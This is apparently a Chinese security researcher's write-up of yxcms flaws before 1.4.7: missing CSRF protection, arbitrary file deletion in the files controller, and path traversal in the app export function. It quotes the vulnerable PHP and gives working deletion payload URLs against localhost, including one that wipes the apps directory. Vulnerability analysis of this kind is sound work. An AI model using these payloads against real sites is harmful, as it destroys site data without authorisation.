- App: yxcms
- reference: https://cloud.tencent.com/developer/article/1075861
0x01 分析
在yxcms1.4.7之前,基础控制器中的isPost()
方法没有验证token机制,使得后台许多功能可以csrf利用。这里提及的两处文件删除,有一处get方法的任意文件删除,这一处还是好使用的。protected\apps\admin\controller\filesController.php
这里的de_dir是一处目录删除。这里也是很直白的。但是到1.4.7没有修补,可能觉得是管理员功能,但是也没有防csrf。
payload:http://127.0.0.1/yxcms1.4/index.php?r=admin/files/del&fname=/../1.txt
0x02 折腾
yxcms里有一个appmanage
模块用来管理app插件的
在1.4.7版本中,appmanage
的index控制器中的getApp
方法是这样的:
<?php
protected function getApp(){
if(!preg_match("/^[a-zA-Z\s]+$/",$_GET['app']))
{
$this->error('请不要恶意操作');
}
return $_GET['app'];
}
之前版本是这样的:
<?
protected function getApp(){
$app = trim( $_GET['app'] );
if( empty($app) ){
$this->error('请不要恶意操作');
}
return $app;
}
}
加了正则,之前是有洞的,比如这个地方比较有意思:
<?php
//导出
public function export(){
$app = $this->getApp();
$app_path = BASE_PATH . 'apps/' . $app . '/';
//导出数据表
config( appConfig( $app ) );
$tables = config('APP_TABLES');
if( !empty($tables) ){
$tables = explode(',', $tables);
$sql = model('appmanage')->exportSql( $tables );
if( !empty($sql) ){
file_put_contents(BASE_PATH . 'apps/' . $app . '/install.sql', $sql);
}
}
//拷贝资源文件
if( is_dir( 'public/' . $app ) ){
copy_dir( 'public/' . $app, $app_path . $app);
}
$zip = new Zip();
$filename = BASE_PATH . 'cache/tmp/' . $app . '.zip';
$zip->compress($filename, $app_path, BASE_PATH . 'apps/'); //打包压缩
del_dir( $app_path . $app); //删除资源文件
Http::download($filename, $app.'.zip');//下载
@unlink($filename);//删除文件
}
业务功能是导出应用。$app
可控, 主要看最后打包删除下载一条龙,@unlink($filename)
文件删除漏洞了。
但是在删除之前会生成一个zip包,可以去拿zip包。
比如这一句:
http://127.0.0.1:8888//yxcms/index.php?r=appmanage/index/export&app=../apps
他会把整个apps删了, 并且生成一个压缩包(当然这里),但是我想这个地方如果文件只有读权限,没有执行权限是不是可以不删除然后打包,不想搞了,太危险哈哈哈跑路…